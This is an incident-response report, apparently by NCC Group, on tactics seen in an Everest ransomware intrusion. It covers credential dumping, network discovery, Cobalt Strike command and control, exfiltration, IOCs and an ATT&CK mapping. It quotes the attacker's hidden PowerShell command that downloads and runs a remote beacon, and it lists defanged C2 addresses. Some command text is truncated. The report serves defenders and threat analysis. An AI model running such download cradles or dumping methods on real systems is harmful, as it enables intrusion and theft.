This research was conducted by Michael Mullen and Nikolaos Pantazopoulos from NCC Group Cyber Incident Response Team. You can find more here Incident Response – NCC Group
Summary
tl;dr
In the Threat Pulse released in November 2021 we touched on Everest Ransomware group. This latest blog documents the TTPs employed by a group who were observed deploying Everest ransomware during a recent incident response engagement.
In summary, we identified the following key TTPs:
- Lateral Movement through Remote Desktop Protocol (RDP)
- Gathering of internal IP addresses for hosts on the network
- Local LSASS dumps
- NTDS.dit dumps
- Installation of Remote Access Tools for persistence
Everest Ransomware
Earlier reports [1] have linked Everest ransomware as part of the Everbe 2.0 family, which is composed of Embrace, PainLocker, EvilLocker and Hyena Locker ransomware. However, after recovering and analysing an Everest ransomware file, we assess with medium confidence that Everest ransomware is related to Black-Byte.
Everest TTPs
Lateral Movement
The threat actor was observed using legitimate compromised user accounts and Remote Desktop Protocol (RDP) for lateral movement.
Credential Access
ProcDump was used to create a copy of the LSASS process in order to access additional credentials. The following command was observed being executed:
C:\Users\
C:\Users\, for example lsasscontoso.dmp.
A copy of the NTDS database was also created with a file name of ntds.dit.zip.
Defence Evasion
Throughout the incident the threat actor routinely removed tooling, reconnaissance output files and data collection archives from hosts.
Discovery
Network discovery was observed upon the compromise of a new host. This activity was primarily conducted via the use of netscan.exe, netscanpack.exe and SoftPerfectNetworkScannerPortable.exe. These tools allow network scans to identify further hosts of interest as well as building a target list for ransomware deployment.
The output of these tools were saved as text files in the C:\Users\Public\Downloads directory. Examples of these have been included below:
- C:\Users\Public\Downloads\subnets.txt
- C:\Users\Public\Downloads\trustdumps.txt
Collection
The threat actor installed the WinRAR application on a file server which was then used to archive data ready for exfiltration.
Command and Control
Cobalt Strike was the primary command and control mechanism used by the threat actor. This was executed on hosts using the following command:
powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(/a')) Additionally, a Metasploit payload was identified within the path C:UsersPublicl.exe.
The following Remote Access Tools were also deployed by the threat actor as a secondary command and control method, in addition to added persistence with the tools being installed as a service
- AnyDesk
- Splashtop Remote Desktop
- Atera
Exfiltration
The threat actor utilised the file transfer capabilities of Splashtop to exfiltrate data out of the network.
Impact
Everest’s action on objectives appears to focus on data exfiltration of sensitive information as well as encryption, commonly referred to as double extortion.
Indicators of Compromise
| IOC (indicators of compromise) Value | Indicator Type | Description |
| netscan.exe | File name | SoftPerfect Network Scanner |
| netscanpack.exe | File name | This was unable to be analysed during the investigation. |
| svcdsl.exe | File name | SoftPerfect Network Scanner Portable |
| Winrar.exe | File name | Popular archiving tool, which supportsencryption. |
| subnets.txt | File name | Network Discovery output file |
| trustdumps.txt | File name | Network Discovery output file |
| l.exe | File name | Metasploit payload |
| hxxp://3.22.79[.]23:8080/ | URL | Site hosting Cobalt Strike beacon |
| hxxp://3.22.79[.]23:8080/a | URL | Site hosting Cobalt Strike beacon |
| hxxp://3.22.79[.]23:10443/ga.js | URL | Cobalt Strike C2 |
| hxxp://18.193.71[.]144:10443/match | URL | Cobalt Strike C2 |
| hxxp://45.84.0[.]164:10443/o6mJ | URL | Meterpreter C2 |
Attribution
The recovered ransomware binary is attributed to (based on the ransomware note) the ‘Everest group’. However, after analysing it, we identified/attributed the sample to Black-Byte (C# variant instead of Go). It should be noted that the sample’s compilation timestamp does match the incident’s timeline.
Even though the sample’s functionality remains the same, we noticed that it does not download the key from a server anymore. Instead, it is (randomly) generated on the compromised host. In addition, the ransomware’s onion link is different.
Based on our findings, we cannot confirm if a different threat actor copied the source code of Black-Byte and started using it or if the Black-Byte have indeed started using again the C# ransomware variant.
MITRE ATT CK®
| Tactic | Technique | ID | Description |
| Initial Access | External Remote Services | T1133 | Initial Access was through an insecure external service |
| Execution | Command and Scripting Interpreter: PowerShell | T1059.001 | Threat actor utilised PowerShell to execute malicious commands |
| Execution | Command and Scripting Interpreter: Windows Command Shell | T1059.003 | Threat actor utilised Windows Command Shell to execute malicious commands |
| Lateral Movement | Remote Services: Remote Desktop Protocol | T1021.001 | Lateral movement was observed utilising RDP |
| Persistence | Create or Modify System Process: Windows Service | T1543.003 | Threat actor installed remote desktop software tools as services for persistence |
| Credential Access | OS Credential Dumping: LSASS Memory | T1003.001 | The tool Procdump was used to create a copy of the LSASS process |
| Credential Access | OS Credential Dumping: NTDS | T1003.003 | The NTDS.dit was copied |
| Defence Evasion | Indicator Removal on Host: File deletion | T1070.004 | Threat actor routinely deleted tooling and output |
| Discovery | Network Service Discovery | T1046 | Threat actor utilised numerous network discovery tools – Netscan and SoftPerfectNetworkScanner |
| Collection | Archive Collected Data: Archive via Utility | T1560.001 | Threat actor archived data using WinRAR |
| Command and Control | Application Layer Protocol: Web Protocols | T1071.001 | Cobalt Strike was implemented using HTTPS for C2 traffic |
| Command and Control | Remote Access Software | T1219 | Threat actor utilised remote access software – Anydesk, Splashtop and Atera |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | Data exfiltration was conducted using the Splashtop application |
| Impact | Data Encrypted for Impact | T1486 | Data was encrypted for impact |
References
- https://attack.mitre.org/
- https://newsroom.nccgroup.com/news/ncc-group-monthly-threat-pulse-november-2021-439934
- https://digitalrecovery.com/en-uae/recover-data-ransomware-everest/
NCC Group Incident Response services provide specialists to help guide and support you through incident handling, triage and analysis, all the way through to providing remediation guidance
